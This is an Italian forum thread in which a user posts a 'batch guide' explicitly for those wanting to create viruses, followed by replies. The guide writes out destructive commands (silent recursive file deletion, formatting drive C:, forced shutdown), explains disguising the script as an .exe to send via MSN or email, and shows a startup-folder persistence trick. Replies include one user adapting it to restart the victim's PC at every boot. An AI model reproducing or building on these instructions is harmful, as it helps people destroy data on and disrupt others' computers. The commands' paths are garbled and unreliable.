• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Guida Guida al bacht

Max090

Utente Mitico
Autore del topic
20 Dicembre 2008
6.760
88
Miglior risposta
0
QEUSTA E' UNA GUIDA MOLTO DETTAGLIATA AL BATCH X KI VUOLE INIZIARE A CREARE VIRUS O ALTRE COSE USANDO IL BATCH:
Per prima cosa ,bisogna sapere che in un programma in batch è possibile inserire un qualsiasi comando MS-DOS che possa essere utilizzato nel prompt dei comandi o nella Shell.Inoltre,esistono altri otto comandi MS-DOS ceati specificamente per i programmi batch

1)call = Esegue un secondo programma batch e poi torna al primo

2)echo = Questo comando visuaizza dei messaggi sullo schermmo oppure attiva e disattiva questa caratteristica

3)echo off = Per fare in modo che i comandi al prompt vengano annullati e che il messaggio sia visualizzato una sola volta

4)@echo off = Per evitare di visualizzare il messaggio echo off si inserisce (@).Per attivare la visualizzazione si preme "echo on"

5)for = Esegue un comando su un gruppo di file o directory

6)goto = Passa ai comandi di un altro punto del programma batch e continua ad elebarorare i comandi da quel punto

7)if = Esegue un comando al verificarsi di una condizione

8)pause = Sospende temporaeamente l'esecuzione del programma batch.L'esecuzione riprende quando viene premuto un tasto

9)rem = Aggiunge dei commenti al programma batch per ricordare la funzione di ogni parte del programma stesso

10)shift = Cambia la posizione dei parametri sostituibili

11)Shutdown - = "il comando che volee fargli fare"

-i : Attiva l’interfaccia utente grafica
-l : Disconnette l'utente
-r : Riavvia il PC
-s : Spegne il computer
-t xx: xx Sarebbero i secondi di attesa prima della chiusura di Windows
-f : Chiude le applicazioni ancora aperte

12)@ERASE e @DEL = eliminano i file

@ERASE /S /Q "C:ProgrammiDocuments and SettigsL.H.SDesktopeversor.txt *.txt"

Cos'è sta roba???

ABBIAMo detto che @Erase cancella i file ....

/S Elimina i file specificati da tutte le sottodirectory
/Q FA IL TUtto in modalità silenziosa ovvero non chiede conferma per le eliminazioni globali
/F forza l'eliminazione dei file di sola lettura
/A Seleziona i file da eliminare in base agli attributi
/p Chiede conferma prima di eliminare il file
*.* IL primo asterisco serve per cancellare tutti i file con un certo, nome tipo everso.*
il secondo può cancellare qualsiasi tipo di estensione *.txt


QUINdi questo è il codice se dobbiamo cancellare i file eversor in txt sul desktop


13)@RD = CANCELLA una cartella (il funzionamento è uguale a quello per il cancellamento del file)

14)format C: /autotest /q /u = (formatta l'unita C,che non deve essere in uso)

Ovviamente dovrete aprire il blocco note,e salvarlo in vostroprogramma.bat


Se volete inviarlo tramite msn o posta ci sono due possibilità...O lo zippate con winzip o winrar oppure lo trasfrmate in exe con il programma apposito Bat to Exe

Volte aumentare il peso?....Bisogna semplicemente usare il comando @REM piuù un sacco di parole,anche alla cazz*...

E se vogliamo far partire il nostro programmino ad ogni avvio ?????


CODICE:
echo (inserite il comando,tipo lo shutdown)>"% USERNAME% Menu AvvioProgrammiEsecuzione automatica(nome).bat"
echo hacked>"% USERNAME% Menu AvvioProgrammiEsecuzione automaticahacked.txt

:ciao:
 
Ultima modifica:
Bravo bella guida, un consiglio:

Dividi il comando da csa fa..

Ad Esempio:

Comando = Quello ke fa

Cambi colore ecc..

Csi si capisce molto meglio.. ;P
 
si scrive batch non bacht shifty poi e' una lamerata sto batch lo sa anche mia nonna e tra l'altro guida postata e ripostata per me discussione inutile.
 
Non ho capito bene questa funzione:
echo (inserite il comando,tipo lo shutdown)>"% USERNAME% Menu AvvioProgrammiEsecuzione automatica(nome).bat"
echo hacked>"% USERNAME% Menu AvvioProgrammiEsecuzione automaticahacked.txt
quindi trasformandola dovrebbe diventare:
echo (shutdown -r)>"% USERNAME% Menu AvvioProgrammiEsecuzione automaticaciao.bat"
echo hacked>"% USERNAME% Menu AvvioProgrammiEsecuzione automaticahacked.txt

ma allora la stringa evidenziata a che serve?
E sopratutto se io volessi il file .bat (o .exe quando lo converto) in esecuzione automatica e non un comando.. come devo fare?
 
ottiamo mi serviva .... me la studiero in qst gioni è postero una bella cosa ....
 
Non ho capito bene questa funzione:
echo (inserite il comando,tipo lo shutdown)>"% USERNAME% Menu AvvioProgrammiEsecuzione automatica(nome).bat"
echo hacked>"% USERNAME% Menu AvvioProgrammiEsecuzione automaticahacked.txt

quindi trasformandola dovrebbe diventare:
echo (shutdown -r)>"% USERNAME% Menu AvvioProgrammiEsecuzione automatica ciao.bat"
echo hacked>"% USERNAME% Menu AvvioProgrammiEsecuzione automaticahacked.txt

Ma l'ultima stringa a che serve???